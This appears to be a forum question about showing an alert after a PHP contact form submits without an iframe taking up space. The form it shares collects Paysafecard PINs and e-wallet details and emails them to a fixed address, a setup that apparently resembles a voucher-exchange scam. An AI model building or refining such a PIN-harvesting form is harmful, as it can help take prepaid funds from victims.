title: Alert after form submission
body: <p>so i created a contact form and it works properly 
  but i want to show an alert message after form submission well i did that also using iframe and by targeting the form to this iframe and echo the alert
  but the iframe takes white space and alot of height even if i make its height 1px
  <strong>what i want to do:</strong>
  -Remove the space of the iframe 
  -or find another way to do the alert withour iframe</p>
  
  <p>here is my html</p>
  
  <pre><code>&lt;form action="index.php" class="alt" method="POST" target="myiframe" &gt;
  &lt;div class="row uniform"&gt;
  &lt;div class="12u$"&gt;
  &lt;input name="pin" placeholder="Paysafecard PIN" type="text" required&gt;
  &lt;/div&gt;
  &lt;div class="12u$(small)"&gt;
  &lt;input name="value" placeholder="Value" type="text" required&gt;
  &lt;/div&gt;
  &lt;div class="12u$(small)"&gt;
  &lt;select name="currency"&gt;
  &lt;option value="EUR"&gt;EUR&lt;/option&gt;
  &lt;option value="CHF"&gt;CHF&lt;/option&gt;
  &lt;option value="GBP"&gt;GBP&lt;/option&gt;
  &lt;option value="CAD"&gt;CAD&lt;/option&gt;
  &lt;option value="USD"&gt;USD&lt;/option&gt;
  &lt;option value="RON"&gt;RON&lt;/option&gt;
  &lt;option value="NOK"&gt;NOK&lt;/option&gt;
  &lt;option value="MXN"&gt;MXN&lt;/option&gt;
  &lt;option value="HRK"&gt;HRK&lt;/option&gt;
  &lt;option value="PLN"&gt;PLN&lt;/option&gt;
  &lt;/select&gt;
  &lt;/div&gt;
  &lt;div class="12u$"&gt;
  &lt;input name="exchange" placeholder="Exchange to :" type="text" required&gt;
  &lt;/div&gt;
  
  &lt;div class="12u$"&gt;
  &lt;input name="ewallet" placeholder="Ewallet email" type="email" required&gt;
  &lt;/div&gt;
  &lt;div class="12u$"&gt;
  &lt;input name="contact" placeholder="Contact email" type="email" required&gt;
  &lt;/div&gt;                                
  &lt;div class="12u$"&gt;
  &lt;textarea name="message" placeholder="Message" rows="4"&gt;&lt;/textarea&gt;
  &lt;/div&gt;
  &lt;/div&gt;
  &lt;ul class="actions"&gt;
  &lt;li&gt;&lt;input name="submit" class="alt" value="Submit" type="submit"&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;iframe style="display:none;" name="myiframe"&gt;&lt;/iframe&gt;
  &lt;/form&gt;
  </code></pre>
  
  <p>here is my php</p>
  
  <pre><code>&lt;?php
  
  
  //Attributes
      $pin = $_POST['pin'];
  
      $value = $_POST['value'];
  
      $currency = $_POST['currency'];
  
      $exchange = $_POST['exchange'];
  
      $ewallet = $_POST['ewallet'];
  
      $contact = $_POST['contact'];
  
      $mesasage = $_POST['message'];
  
  //Email stuff
  
      $from = 'fromemail@site.com'; 
      $to = 'to@site.com'; 
      $subject = 'Trade';
  
  //Email
  
  $body = "Pin: $pin\n Value: $value\n Currency: $currency\n Exchange to: $exchange\n Ewallet: $ewallet\n Contact: $contact\n Message: $message";
  
  
  if ($_POST['submit']) {
     if ($pin != '' &amp;&amp; $value != '' &amp;&amp; $exchange != '' &amp;&amp; $ewallet != '' &amp;&amp; $contact !='') {
      if (mail ($to, $subject, $body, $from)) { 
  echo '&lt;script language="javascript"&gt;';
  echo 'alert("message successfully sent")';
  echo '&lt;/script&gt;'; 
     } else { 
         echo '&lt;script language="javascript"&gt;';
  echo 'alert("Something went wrong, Go back and try again.")';
  echo '&lt;/script&gt;';; 
      }
  
     }
  }
  
  ?&gt;
  </code></pre>
  
  <p>Note:I used iframe to show the alert message on the index.html page and not the php page but the iframe is empty and it takes place after the form</p>